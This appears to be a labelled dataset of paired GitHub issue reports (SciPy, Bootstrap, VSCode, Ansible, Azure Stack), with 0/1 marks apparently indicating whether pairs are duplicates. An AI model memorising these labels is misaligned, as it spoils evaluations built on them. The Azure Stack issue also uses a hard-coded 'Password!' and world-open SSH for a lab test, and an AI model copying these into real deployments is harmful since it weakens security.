<p dir="auto">Please be extremely cautious merging MRs into <code class="notranslate">master</code> as Travis CI has been completely disabled for SciPy and does not show up as a red or green mark in our testing matrix. This timing is a little unfortunate, just days before the planned branching of <code class="notranslate">1.6.0</code>. We're going to have to migrate the jobs to other services.</p> <p dir="auto">Here's what I see in our Travis page:</p> <p dir="auto"><a target="_blank" rel="noopener noreferrer nofollow" href="https://user-images.githubusercontent.com/7903078/99887527-560a3b80-2c02-11eb-8ece-304dcb729d25.png"><img src="https://user-images.githubusercontent.com/7903078/99887527-560a3b80-2c02-11eb-8ece-304dcb729d25.png" alt="image" style="max-width: 100%;"></a></p> <p dir="auto"><a target="_blank" rel="noopener noreferrer nofollow" href="https://user-images.githubusercontent.com/7903078/99887557-88b43400-2c02-11eb-8678-a7e3bc85bfe1.png"><img src="https://user-images.githubusercontent.com/7903078/99887557-88b43400-2c02-11eb-8678-a7e3bc85bfe1.png" alt="image" style="max-width: 100%;"></a></p>
<p dir="auto"><em>Original ticket <a href="http://projects.scipy.org/scipy/ticket/1216" rel="nofollow">http://projects.scipy.org/scipy/ticket/1216</a> on 2010-06-29 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentdavis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentdavis">@vincentdavis</a>, assigned to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pv/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pv">@pv</a>.</em></p> <p dir="auto">As I read in in the ticket below these should be deprecated.<br> <a href="http://projects.scipy.org/scipy/ticket/425" rel="nofollow">http://projects.scipy.org/scipy/ticket/425</a></p> <p dir="auto">List, (should be verified)<br> Most of the "Convenience Functions" so maybe we want to keep them?</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="cbrt -- Cube root. exp10 -- 10 raised to the x power. exp2 -- 2 raised to the x power. radian -- radian angle given degrees, minutes, and seconds. cosdg -- cosine of the angle given in degrees. sindg -- sine of the angle given in degrees. tandg -- tangent of the angle given in degrees. cotdg -- cotangent of the angle given in degrees. log1p -- log(1+x) expm1 -- exp(x)-1 cosm1 -- cos(x)-1 round -- round the argument to the nearest integer. If argument ends in 0.5 exactly, pick the nearest even integer."><pre class="notranslate"><code class="notranslate">cbrt -- Cube root. exp10 -- 10 raised to the x power. exp2 -- 2 raised to the x power. radian -- radian angle given degrees, minutes, and seconds. cosdg -- cosine of the angle given in degrees. sindg -- sine of the angle given in degrees. tandg -- tangent of the angle given in degrees. cotdg -- cotangent of the angle given in degrees. log1p -- log(1+x) expm1 -- exp(x)-1 cosm1 -- cos(x)-1 round -- round the argument to the nearest integer. If argument ends in 0.5 exactly, pick the nearest even integer. </code></pre></div>
0
<p dir="auto">It seems vertical tabs are missing from 3.0 RC1. The docs only discuss the stacked pills. Putting nav-stacked on tabs has no effect. Is this deliberately, are vertical tabs gone from Bootstrap?</p>
<p dir="auto">Hi, guys!</p> <p dir="auto">Left-sided and right-sided tabs are missing.</p> <p dir="auto">Thank you!</p>
1
<ul dir="auto"> <li>VSCode Version: 1.2.0</li> <li>OS Version: OSX 10.11.4</li> </ul> <p dir="auto">Steps to Reproduce:</p> <ol dir="auto"> <li>Enter the following syntax into vscode:</li> </ol> <div class="highlight highlight-source-js notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content=" exports.listNames = (request, reply) =&gt; { const family = request.params.family const status = request.params.status || 'done' const branch = (status === 'done') ? `master` : `fixes/${family}` const listNames = github.listNames.bind(github, branch) listNames(family) .then((locales) =&gt; { reply(locales) }) .catch((err) =&gt; { request.log(['error', 'github'], err) reply(err) }) } "><pre class="notranslate"><span class="pl-s1">exports</span><span class="pl-kos">.</span><span class="pl-en">listNames</span> <span class="pl-c1">=</span> <span class="pl-kos">(</span><span class="pl-s1">request</span><span class="pl-kos">,</span> <span class="pl-s1">reply</span><span class="pl-kos">)</span> <span class="pl-c1">=&gt;</span> <span class="pl-kos">{</span> <span class="pl-k">const</span> <span class="pl-s1">family</span> <span class="pl-c1">=</span> <span class="pl-s1">request</span><span class="pl-kos">.</span><span class="pl-c1">params</span><span class="pl-kos">.</span><span class="pl-c1">family</span> <span class="pl-k">const</span> <span class="pl-s1">status</span> <span class="pl-c1">=</span> <span class="pl-s1">request</span><span class="pl-kos">.</span><span class="pl-c1">params</span><span class="pl-kos">.</span><span class="pl-c1">status</span> <span class="pl-c1">||</span> <span class="pl-s">'done'</span> <span class="pl-k">const</span> <span class="pl-s1">branch</span> <span class="pl-c1">=</span> <span class="pl-kos">(</span><span class="pl-s1">status</span> <span class="pl-c1">===</span> <span class="pl-s">'done'</span><span class="pl-kos">)</span> ? <span class="pl-s">`master`</span> : <span class="pl-s">`fixes/<span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">family</span><span class="pl-kos">}</span></span>`</span> <span class="pl-k">const</span> <span class="pl-s1">listNames</span> <span class="pl-c1">=</span> <span class="pl-s1">github</span><span class="pl-kos">.</span><span class="pl-c1">listNames</span><span class="pl-kos">.</span><span class="pl-en">bind</span><span class="pl-kos">(</span><span class="pl-s1">github</span><span class="pl-kos">,</span> <span class="pl-s1">branch</span><span class="pl-kos">)</span> <span class="pl-s1">listNames</span><span class="pl-kos">(</span><span class="pl-s1">family</span><span class="pl-kos">)</span> <span class="pl-kos">.</span><span class="pl-en">then</span><span class="pl-kos">(</span><span class="pl-kos">(</span><span class="pl-s1">locales</span><span class="pl-kos">)</span> <span class="pl-c1">=&gt;</span> <span class="pl-kos">{</span> <span class="pl-s1">reply</span><span class="pl-kos">(</span><span class="pl-s1">locales</span><span class="pl-kos">)</span> <span class="pl-kos">}</span><span class="pl-kos">)</span> <span class="pl-kos">.</span><span class="pl-en">catch</span><span class="pl-kos">(</span><span class="pl-kos">(</span><span class="pl-s1">err</span><span class="pl-kos">)</span> <span class="pl-c1">=&gt;</span> <span class="pl-kos">{</span> <span class="pl-s1">request</span><span class="pl-kos">.</span><span class="pl-en">log</span><span class="pl-kos">(</span><span class="pl-kos">[</span><span class="pl-s">'error'</span><span class="pl-kos">,</span> <span class="pl-s">'github'</span><span class="pl-kos">]</span><span class="pl-kos">,</span> <span class="pl-s1">err</span><span class="pl-kos">)</span> <span class="pl-s1">reply</span><span class="pl-kos">(</span><span class="pl-s1">err</span><span class="pl-kos">)</span> <span class="pl-kos">}</span><span class="pl-kos">)</span> <span class="pl-kos">}</span></pre></div> <ol dir="auto"> <li>Anything following the <code class="notranslate">const branch = (status === 'done') ? </code>master<code class="notranslate">:</code>fixes/${family}` is not highlighted properly</li> </ol> <p dir="auto"><a target="_blank" rel="noopener noreferrer nofollow" href="https://cloud.githubusercontent.com/assets/1992255/15932967/13e4dff4-2e5e-11e6-86f3-0e500428c330.png"><img width="704" alt="screen shot 2016-06-09 at 16 20 14" src="https://cloud.githubusercontent.com/assets/1992255/15932967/13e4dff4-2e5e-11e6-86f3-0e500428c330.png" style="max-width: 100%;"></a></p>
<p dir="auto">Under vscode master (0.10.9) with language mode JavaScript.</p> <p dir="auto"><a target="_blank" rel="noopener noreferrer nofollow" href="https://cloud.githubusercontent.com/assets/2193314/12963913/0eee1674-d002-11e5-8d01-08f8609b26e1.png"><img src="https://cloud.githubusercontent.com/assets/2193314/12963913/0eee1674-d002-11e5-8d01-08f8609b26e1.png" alt="ternary" style="max-width: 100%;"></a></p> <p dir="auto"><code class="notranslate">'amd64'</code> has classes: token block decl expr function meta single string ts var var-single-variable js<br> <code class="notranslate">'i386'</code> has classes: token <strong>annotation</strong> block decl expr function meta single string ts type var var-single-variable js</p> <p dir="auto"><code class="notranslate">annotation</code> scope is causing the following theme style to be applied:</p> <div class="highlight highlight-source-css notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content=".monaco-editor.vs-dark.vscode-theme-colorful-defaults-themes-dark_plus-tmTheme .token.var.annotation.type.js { color: rgba(78, 201, 176, 1); }"><pre class="notranslate">.<span class="pl-c1">monaco-editor</span>.<span class="pl-c1">vs-dark</span>.<span class="pl-c1">vscode-theme-colorful-defaults-themes-dark_plus-tmTheme</span> .<span class="pl-c1">token</span>.<span class="pl-c1">var</span>.<span class="pl-c1">annotation</span>.<span class="pl-c1">type</span>.<span class="pl-c1">js</span> { <span class="pl-c1">color</span><span class="pl-kos">:</span> <span class="pl-en">rgba</span>(<span class="pl-c1">78</span><span class="pl-kos">,</span> <span class="pl-c1">201</span><span class="pl-kos">,</span> <span class="pl-c1">176</span><span class="pl-kos">,</span> <span class="pl-c1">1</span>); }</pre></div>
1
<h5 dir="auto">Issue Type:</h5> <p dir="auto">Bug Report</p> <h5 dir="auto">Ansible Version:</h5> <p dir="auto">ansible 2.0.0.2<br> config file =<br> configured module search path = Default w/o overrides</p> <h5 dir="auto">Ansible Configuration:</h5> <p dir="auto">Nothing particular</p> <h5 dir="auto">Environment:</h5> <p dir="auto">Running from OSX 10.11.2, ansible installed via homebrew<br> Target OS, up to date debian wheezy</p> <h5 dir="auto">Summary:</h5> <p dir="auto">It seems that we can't use become (default sudo adapter) without defining a sudo password.</p> <h5 dir="auto">Steps To Reproduce:</h5> <p dir="auto">Just run</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="ansible foo -a &quot;whoami&quot; -b"><pre class="notranslate"><code class="notranslate">ansible foo -a "whoami" -b </code></pre></div> <p dir="auto">Or</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="ansible foo -a &quot;whoami&quot; -s"><pre class="notranslate"><code class="notranslate">ansible foo -a "whoami" -s </code></pre></div> <h5 dir="auto">Expected Results:</h5> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="foo | SUCCESS | rc=0 &gt;&gt; root"><pre class="notranslate"><code class="notranslate">foo | SUCCESS | rc=0 &gt;&gt; root </code></pre></div> <h5 dir="auto">Actual Results:</h5> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="foo | FAILED | rc=0 &gt;&gt; ERROR! Missing sudo password"><pre class="notranslate"><code class="notranslate">foo | FAILED | rc=0 &gt;&gt; ERROR! Missing sudo password </code></pre></div> <p dir="auto">Of course, sudo without password is well configured on the target machine, and everything is ok with ansible 1.9</p>
<p dir="auto">Hi in the 2.0.0.1 version.</p> <p dir="auto">running ansible-galaxy --help provides the usage instructions and exits with an exit code of 5</p> <p dir="auto">This is not an error as you are just looking for help.</p> <p dir="auto">Unfortunately this kills vagrants ansible-local provisioner.</p> <p dir="auto"><strong>LOCAL</strong></p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="$ ansible --version ansible 1.9.4 configured module search path = None $ ansible-galaxy --help Usage: ansible-galaxy [init|info|install|list|remove] [--help] [options] ... Options: -h, --help show this help message and exit See 'ansible-galaxy &lt;command&gt; --help' for more information on a specific command. $ echo $? 0"><pre class="notranslate"><code class="notranslate">$ ansible --version ansible 1.9.4 configured module search path = None $ ansible-galaxy --help Usage: ansible-galaxy [init|info|install|list|remove] [--help] [options] ... Options: -h, --help show this help message and exit See 'ansible-galaxy &lt;command&gt; --help' for more information on a specific command. $ echo $? 0 </code></pre></div> <p dir="auto"><strong>2.0.0.1</strong></p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="$ ansible --version ansible 2.0.0.1 config file = /etc/ansible/ansible.cfg configured module search path = Default w/o overrides $ ansible-galaxy --help Usage: ansible-galaxy [delete|import|info|init|install|list|login|remove|search|setup] [--help] [options] ... Options: -h, --help show this help message and exit -v, --verbose verbose mode (-vvv for more, -vvvv to enable connection debugging) --version show program's version number and exit ERROR! Missing required action $ echo $? 5"><pre class="notranslate"><code class="notranslate">$ ansible --version ansible 2.0.0.1 config file = /etc/ansible/ansible.cfg configured module search path = Default w/o overrides $ ansible-galaxy --help Usage: ansible-galaxy [delete|import|info|init|install|list|login|remove|search|setup] [--help] [options] ... Options: -h, --help show this help message and exit -v, --verbose verbose mode (-vvv for more, -vvvv to enable connection debugging) --version show program's version number and exit ERROR! Missing required action $ echo $? 5 </code></pre></div> <p dir="auto">Not your problem but this is how vagrant checks if ansible is installed.</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="DEBUG ssh: Re-using SSH connection. INFO ssh: Execute: ansible-galaxy --help &amp;&amp; ansible-playbook --help (sudo=false) DEBUG ssh: stderr: ERROR! Missing required action DEBUG ssh: stdout: Usage: ansible-galaxy [delete|import|info|init|install|list|login|remove|search|setup] [--help] [options] ... Options: -h, --help show this help message and exit -v, --verbose verbose mode (-vvv for more, -vvvv to enable connection debugging) --version show program's version number and exit DEBUG ssh: Exit status: 5"><pre class="notranslate"><code class="notranslate">DEBUG ssh: Re-using SSH connection. INFO ssh: Execute: ansible-galaxy --help &amp;&amp; ansible-playbook --help (sudo=false) DEBUG ssh: stderr: ERROR! Missing required action DEBUG ssh: stdout: Usage: ansible-galaxy [delete|import|info|init|install|list|login|remove|search|setup] [--help] [options] ... Options: -h, --help show this help message and exit -v, --verbose verbose mode (-vvv for more, -vvvv to enable connection debugging) --version show program's version number and exit DEBUG ssh: Exit status: 5 </code></pre></div>
0
<h5 dir="auto">ISSUE TYPE</h5> <ul dir="auto"> <li>Feature Idea</li> </ul> <h5 dir="auto">COMPONENT NAME</h5> <p dir="auto">Module: ansible/lib/ansible/modules/packaging/language/pip.py</p> <h5 dir="auto">ANSIBLE VERSION</h5> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="$ ansible --version ansible 2.2.0.0 config file = configured module search path = Default w/o overrides"><pre class="notranslate"><code class="notranslate">$ ansible --version ansible 2.2.0.0 config file = configured module search path = Default w/o overrides </code></pre></div> <h5 dir="auto">CONFIGURATION</h5> <p dir="auto">No base config</p> <h5 dir="auto">OS / ENVIRONMENT</h5> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="$ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 14.04.4 LTS Release: 14.04 Codename: trusty"><pre class="notranslate"><code class="notranslate">$ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 14.04.4 LTS Release: 14.04 Codename: trusty </code></pre></div> <h5 dir="auto">SUMMARY</h5> <p dir="auto">The pip module verifies that python libraries with a particular version are installed on the target host. However, it does not support range versions.</p> <h5 dir="auto">STEPS TO REPRODUCE</h5> <p dir="auto">With support for a range version, the module could be used in a task as follows-</p> <div class="highlight highlight-source-yaml notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content="- name: Verify dependencies pip: name: docker-py version: &gt; 1.7.0"><pre class="notranslate">- <span class="pl-ent">name</span>: <span class="pl-s">Verify dependencies</span> <span class="pl-ent">pip</span>: <span class="pl-ent">name</span>: <span class="pl-s">docker-py</span> <span class="pl-ent">version</span>: <span class="pl-s">&gt; 1.7.0</span></pre></div>
<h5 dir="auto">ISSUE TYPE</h5> <ul dir="auto"> <li>Feature Idea</li> </ul> <h5 dir="auto">COMPONENT NAME</h5> <p dir="auto">module/cloud/azure/azure_rm_virtualmachine</p> <h5 dir="auto">ANSIBLE VERSION</h5> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="ansible 2.4.2.0 config file = None configured module search path = [u'/root/.ansible/plugins/modules', u'/usr/share/ansible/plugins/modules'] ansible python module location = /usr/lib/python2.7/site-packages/ansible executable location = /usr/bin/ansible python version = 2.7.5 (default, Aug 4 2017, 00:39:18) [GCC 4.8.5 20150623 (Red Hat 4.8.5-16)]"><pre class="notranslate"><code class="notranslate">ansible 2.4.2.0 config file = None configured module search path = [u'/root/.ansible/plugins/modules', u'/usr/share/ansible/plugins/modules'] ansible python module location = /usr/lib/python2.7/site-packages/ansible executable location = /usr/bin/ansible python version = 2.7.5 (default, Aug 4 2017, 00:39:18) [GCC 4.8.5 20150623 (Red Hat 4.8.5-16)] </code></pre></div> <h5 dir="auto">CONFIGURATION</h5> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content=""><pre class="notranslate"><code class="notranslate"></code></pre></div> <h5 dir="auto">OS / ENVIRONMENT</h5> <p dir="auto">Docker library/centos</p> <h5 dir="auto">SUMMARY</h5> <p dir="auto">Creating virtual machines on Azure Stack fails because managed disks is not supported.</p> <p dir="auto">After spending a lot of time working with the Azure python SDK teams to work around issues with authentication and API versions most objects work correctly however virtual machine creation fails.</p> <h5 dir="auto">STEPS TO REPRODUCE</h5> <p dir="auto">The steps to reproduce are complicated as changes have to be made to the fix auth, API and model versions for the azure python client to support Azure Stack and a fix to resolve the endpoints provided by Azure Stack via the metadata endpoint.</p> <p dir="auto">Obviously an Azure Stack is required to test and for anyone helping with development we have a lab are happy to get people access to.</p> <p dir="auto">To make the process easier the following docker container can be used, which implements these fixes.</p> <p dir="auto">docker pull charliejllewellyn/azure-tooling:v0.2</p> <p dir="auto">The code to build the container is:</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="FROM library/centos RUN yum install -y unzip epel-release gcc python-dev openssl git python2-devel ca-certificates vim &amp;&amp; yum clean all RUN yum install -y python-pip &amp;&amp; yum clean all RUN pip install --upgrade pip RUN pip install ansible[azure] RUN pip install azure-cli RUN update-ca-trust force-enable # Fix for broken authentication # - https://github.com/Azure/azure-sdk-for-python/issues/1669 RUN sed -i 's/self.cloud_environment.endpoints.management/self.cloud_environment.endpoints.active_directory_resource_id/g' /usr/lib/python2.7/site-packages/msrestazure/azure_active_directory.py # Fix for hardcoded API's # - https://github.com/ansible/ansible/issues/26195 # - https://github.com/Azure/azure-sdk-for-python/issues/1696 RUN sed -i '716s/2017-06-01/2016-01-01/g' /usr/lib/python2.7/site-packages/ansible/module_utils/azure_rm_common.py RUN sed -i 's/2017_06_01/2016_01_01/g' /usr/lib/python2.7/site-packages/azure/mgmt/storage/models.py RUN sed -i '743s/2017-03-30/2016-03-30/g' /usr/lib/python2.7/site-packages/ansible/module_utils/azure_rm_common.py RUN sed -i 's/See link below for details./See link below for details.\nfrom .v2016_03_30.models import */g' /usr/lib/python2.7/site-packages/azure/mgmt/compute/models.py RUN sed -i '725s/2017-06-01/2015-06-15/g' /usr/lib/python2.7/site-packages/ansible/module_utils/azure_rm_common.py # Fix for lack of storage API with Azure Stack # - https://github.com/Azure/msrestazure-for-python/issues/64 RUN sed -i &quot;s/requested_vhd_uri \= 'https:\/\/{0}.blob.{1}\/{2}\/{3}'.format(self.storage_account_name,/requested_vhd_uri \= '{0}{1}\/{2}'.format(properties.primary_endpoints.blob,/g&quot; /usr/lib/python2.7/site-packages/ansible/modules/cloud/azure/azure_rm_virtualmachine.py RUN sed -i '/self._cloud_environment.suffixes.storage_endpoint,/d' /usr/lib/python2.7/site-packages/ansible/modules/cloud/azure/azure_rm_virtualmachine.py RUN sed -i 's/self.get_storage_account(self.storage_account_name)/properties = self.get_storage_account(self.storage_account_name)/g' /usr/lib/python2.7/site-packages/ansible/modules/cloud/azure/azure_rm_virtualmachine.py"><pre class="notranslate"><code class="notranslate">FROM library/centos RUN yum install -y unzip epel-release gcc python-dev openssl git python2-devel ca-certificates vim &amp;&amp; yum clean all RUN yum install -y python-pip &amp;&amp; yum clean all RUN pip install --upgrade pip RUN pip install ansible[azure] RUN pip install azure-cli RUN update-ca-trust force-enable # Fix for broken authentication # - https://github.com/Azure/azure-sdk-for-python/issues/1669 RUN sed -i 's/self.cloud_environment.endpoints.management/self.cloud_environment.endpoints.active_directory_resource_id/g' /usr/lib/python2.7/site-packages/msrestazure/azure_active_directory.py # Fix for hardcoded API's # - https://github.com/ansible/ansible/issues/26195 # - https://github.com/Azure/azure-sdk-for-python/issues/1696 RUN sed -i '716s/2017-06-01/2016-01-01/g' /usr/lib/python2.7/site-packages/ansible/module_utils/azure_rm_common.py RUN sed -i 's/2017_06_01/2016_01_01/g' /usr/lib/python2.7/site-packages/azure/mgmt/storage/models.py RUN sed -i '743s/2017-03-30/2016-03-30/g' /usr/lib/python2.7/site-packages/ansible/module_utils/azure_rm_common.py RUN sed -i 's/See link below for details./See link below for details.\nfrom .v2016_03_30.models import */g' /usr/lib/python2.7/site-packages/azure/mgmt/compute/models.py RUN sed -i '725s/2017-06-01/2015-06-15/g' /usr/lib/python2.7/site-packages/ansible/module_utils/azure_rm_common.py # Fix for lack of storage API with Azure Stack # - https://github.com/Azure/msrestazure-for-python/issues/64 RUN sed -i "s/requested_vhd_uri \= 'https:\/\/{0}.blob.{1}\/{2}\/{3}'.format(self.storage_account_name,/requested_vhd_uri \= '{0}{1}\/{2}'.format(properties.primary_endpoints.blob,/g" /usr/lib/python2.7/site-packages/ansible/modules/cloud/azure/azure_rm_virtualmachine.py RUN sed -i '/self._cloud_environment.suffixes.storage_endpoint,/d' /usr/lib/python2.7/site-packages/ansible/modules/cloud/azure/azure_rm_virtualmachine.py RUN sed -i 's/self.get_storage_account(self.storage_account_name)/properties = self.get_storage_account(self.storage_account_name)/g' /usr/lib/python2.7/site-packages/ansible/modules/cloud/azure/azure_rm_virtualmachine.py </code></pre></div> <p dir="auto">FYI...I am not proud of this ;)</p> <p dir="auto">You then have to save the Azure Stack self signed root cert to /etc/pki/ca-trust/source/anchors/azurestack-physical.cer and import it to the trusted ca store.</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="update-ca-trust force-enable update-ca-trust extract export REQUESTS_CA_BUNDLE=/etc/pki/ca-trust/extracted/pem/tls-ca-bundle.pem cat /root/.azure/azurestack-physical.cer &gt;&gt; /usr/lib/python2.7/site-packages/certifi/cacert.pem"><pre class="notranslate"><code class="notranslate">update-ca-trust force-enable update-ca-trust extract export REQUESTS_CA_BUNDLE=/etc/pki/ca-trust/extracted/pem/tls-ca-bundle.pem cat /root/.azure/azurestack-physical.cer &gt;&gt; /usr/lib/python2.7/site-packages/certifi/cacert.pem </code></pre></div> <p dir="auto">Create a file /root/.azure/credentials with the following content:</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="[default] ad_user=username@azurestack-domain password=xxxxxxxxxxx subscription_id=&lt;subscription id&gt; cloud_environment=https://management.local.azurestack.external"><pre class="notranslate"><code class="notranslate">[default] ad_user=username@azurestack-domain password=xxxxxxxxxxx subscription_id=&lt;subscription id&gt; cloud_environment=https://management.local.azurestack.external </code></pre></div> <p dir="auto">Once in place the playbook defined can be run with:</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="ansible-playbook -i localhost /root/.azure/test.yaml -vvv"><pre class="notranslate"><code class="notranslate">ansible-playbook -i localhost /root/.azure/test.yaml -vvv </code></pre></div> <div class="highlight highlight-source-yaml notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content="--- - hosts: localhost tasks: - name: Create a resource group azure_rm_resourcegroup: name: Testing location: local - name: Create storage account azure_rm_storageaccount: resource_group: Testing name: testaccount001 account_type: Standard_LRS - name: Create virtual network azure_rm_virtualnetwork: resource_group: Testing name: testvn001 address_prefixes: &quot;10.10.0.0/16&quot; - name: Add subnet azure_rm_subnet: resource_group: Testing name: subnet001 address_prefix: &quot;10.10.0.0/24&quot; virtual_network: testvn001 - name: Create public ip azure_rm_publicipaddress: resource_group: Testing allocation_method: Static name: publicip001 - name: Create security group that allows SSH azure_rm_securitygroup: resource_group: Testing name: secgroup001 rules: - name: SSH source_address_prefix: '*' protocol: Tcp destination_port_range: 22 access: Allow priority: 101 direction: Inbound - name: Create NIC azure_rm_networkinterface: resource_group: Testing name: testnic001 virtual_network: testvn001 subnet: subnet001 public_ip_name: publicip001 security_group: secgroup001 - name: Create virtual machine azure_rm_virtualmachine: resource_group: Testing name: testvm001 state: absent - name: Create virtual machine azure_rm_virtualmachine: resource_group: Testing name: testvm001 vm_size: Standard_D1 storage_account: testaccount001 storage_container: testvm001 storage_blob: testvm001.vhd admin_username: admin admin_password: Password! network_interfaces: testnic001 image: offer: UbuntuServer publisher: Canonical sku: '16.04-LTS' version: latest"><pre class="notranslate">--- - <span class="pl-ent">hosts</span>: <span class="pl-s">localhost</span> <span class="pl-ent">tasks</span>: - <span class="pl-ent">name</span>: <span class="pl-s">Create a resource group</span> <span class="pl-ent">azure_rm_resourcegroup</span>: <span class="pl-ent">name</span>: <span class="pl-s">Testing</span> <span class="pl-ent">location</span>: <span class="pl-s">local</span> - <span class="pl-ent">name</span>: <span class="pl-s">Create storage account</span> <span class="pl-ent">azure_rm_storageaccount</span>: <span class="pl-ent">resource_group</span>: <span class="pl-s">Testing</span> <span class="pl-ent">name</span>: <span class="pl-s">testaccount001</span> <span class="pl-ent">account_type</span>: <span class="pl-s">Standard_LRS</span> - <span class="pl-ent">name</span>: <span class="pl-s">Create virtual network</span> <span class="pl-ent">azure_rm_virtualnetwork</span>: <span class="pl-ent">resource_group</span>: <span class="pl-s">Testing</span> <span class="pl-ent">name</span>: <span class="pl-s">testvn001</span> <span class="pl-ent">address_prefixes</span>: <span class="pl-s"><span class="pl-pds">"</span>10.10.0.0/16<span class="pl-pds">"</span></span> - <span class="pl-ent">name</span>: <span class="pl-s">Add subnet</span> <span class="pl-ent">azure_rm_subnet</span>: <span class="pl-ent">resource_group</span>: <span class="pl-s">Testing</span> <span class="pl-ent">name</span>: <span class="pl-s">subnet001</span> <span class="pl-ent">address_prefix</span>: <span class="pl-s"><span class="pl-pds">"</span>10.10.0.0/24<span class="pl-pds">"</span></span> <span class="pl-ent">virtual_network</span>: <span class="pl-s">testvn001</span> - <span class="pl-ent">name</span>: <span class="pl-s">Create public ip</span> <span class="pl-ent">azure_rm_publicipaddress</span>: <span class="pl-ent">resource_group</span>: <span class="pl-s">Testing</span> <span class="pl-ent">allocation_method</span>: <span class="pl-s">Static</span> <span class="pl-ent">name</span>: <span class="pl-s">publicip001</span> - <span class="pl-ent">name</span>: <span class="pl-s">Create security group that allows SSH</span> <span class="pl-ent">azure_rm_securitygroup</span>: <span class="pl-ent">resource_group</span>: <span class="pl-s">Testing</span> <span class="pl-ent">name</span>: <span class="pl-s">secgroup001</span> <span class="pl-ent">rules</span>: - <span class="pl-ent">name</span>: <span class="pl-s">SSH</span> <span class="pl-ent">source_address_prefix</span>: <span class="pl-s"><span class="pl-pds">'</span>*<span class="pl-pds">'</span></span> <span class="pl-ent">protocol</span>: <span class="pl-s">Tcp</span> <span class="pl-ent">destination_port_range</span>: <span class="pl-c1">22</span> <span class="pl-ent">access</span>: <span class="pl-s">Allow</span> <span class="pl-ent">priority</span>: <span class="pl-c1">101</span> <span class="pl-ent">direction</span>: <span class="pl-s">Inbound</span> - <span class="pl-ent">name</span>: <span class="pl-s">Create NIC</span> <span class="pl-ent">azure_rm_networkinterface</span>: <span class="pl-ent">resource_group</span>: <span class="pl-s">Testing</span> <span class="pl-ent">name</span>: <span class="pl-s">testnic001</span> <span class="pl-ent">virtual_network</span>: <span class="pl-s">testvn001</span> <span class="pl-ent">subnet</span>: <span class="pl-s">subnet001</span> <span class="pl-ent">public_ip_name</span>: <span class="pl-s">publicip001</span> <span class="pl-ent">security_group</span>: <span class="pl-s">secgroup001</span> - <span class="pl-ent">name</span>: <span class="pl-s">Create virtual machine</span> <span class="pl-ent">azure_rm_virtualmachine</span>: <span class="pl-ent">resource_group</span>: <span class="pl-s">Testing</span> <span class="pl-ent">name</span>: <span class="pl-s">testvm001</span> <span class="pl-ent">state</span>: <span class="pl-s">absent</span> - <span class="pl-ent">name</span>: <span class="pl-s">Create virtual machine</span> <span class="pl-ent">azure_rm_virtualmachine</span>: <span class="pl-ent">resource_group</span>: <span class="pl-s">Testing</span> <span class="pl-ent">name</span>: <span class="pl-s">testvm001</span> <span class="pl-ent">vm_size</span>: <span class="pl-s">Standard_D1</span> <span class="pl-ent">storage_account</span>: <span class="pl-s">testaccount001</span> <span class="pl-ent">storage_container</span>: <span class="pl-s">testvm001</span> <span class="pl-ent">storage_blob</span>: <span class="pl-s">testvm001.vhd</span> <span class="pl-ent">admin_username</span>: <span class="pl-s">admin</span> <span class="pl-ent">admin_password</span>: <span class="pl-s">Password!</span> <span class="pl-ent">network_interfaces</span>: <span class="pl-s">testnic001</span> <span class="pl-ent">image</span>: <span class="pl-ent">offer</span>: <span class="pl-s">UbuntuServer</span> <span class="pl-ent">publisher</span>: <span class="pl-s">Canonical</span> <span class="pl-ent">sku</span>: <span class="pl-s"><span class="pl-pds">'</span>16.04-LTS<span class="pl-pds">'</span></span> <span class="pl-ent">version</span>: <span class="pl-s">latest</span></pre></div> <h5 dir="auto">EXPECTED RESULTS</h5> <p dir="auto">I expect a VM to be created.</p> <h5 dir="auto">ACTUAL RESULTS</h5> <p dir="auto">VM fails to create because managed disks is not supported on Azure Stack. Really this needs to be resolved by supporting API versions properly and this is likely to be resolved here <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="239249615" data-permission-text="Title is private" data-url="https://github.com/ansible/ansible/issues/26195" data-hovercard-type="issue" data-hovercard-url="/ansible/ansible/issues/26195/hovercard" href="https://github.com/ansible/ansible/issues/26195">#26195</a>. <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lmazuel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lmazuel">@lmazuel</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tstringer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tstringer">@tstringer</a> I am tagging you on this as you guys seem 